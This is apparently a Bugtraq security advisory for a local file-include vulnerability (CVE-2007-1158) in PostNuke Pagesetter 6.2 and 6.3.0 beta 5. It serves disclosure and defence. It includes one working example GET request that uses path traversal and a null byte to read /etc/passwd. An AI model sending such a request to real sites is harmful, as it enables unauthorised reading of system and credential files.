Pagesetter Index.PHP Local File Include Vulnerability

Bugtraq ID:	22733
Class:	Input Validation Error
CVE:	CVE-2007-1158
Remote:	Yes
Local:	No
Published:	Feb 26 2007 12:00AM
Updated:	May 12 2015 07:34PM
Credit:	D. Matscheko is credited with the discovery of this vulnerability.
Vulnerable:	PostNuke Pagesetter 6.2 PostNuke Pagesetter 6.3.0 beta 5
Not Vulnerable:

Pagesetter Index.PHP Local File Include Vulnerability

Pagesetter is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Pagesetter 6.3.0 beta 5 and prior versions are vulnerable to this issue.

Pagesetter Index.PHP Local File Include Vulnerability

Attackers can exploit this issue via a browser.

The following example HTTP GET request is available:

http://www.example.com/index.php?module=Pagesetter&type=file&func=preview&id=../../../../../../../../../etc/passwd%00

Pagesetter Index.PHP Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Pagesetter Index.PHP Local File Include Vulnerability

References:

• Pagesetter Web Site (Pagesetter)
  
• SEC Consult SA-20070226-0 :: File Disclosure in Pagesetter for PostNuke ([email protected])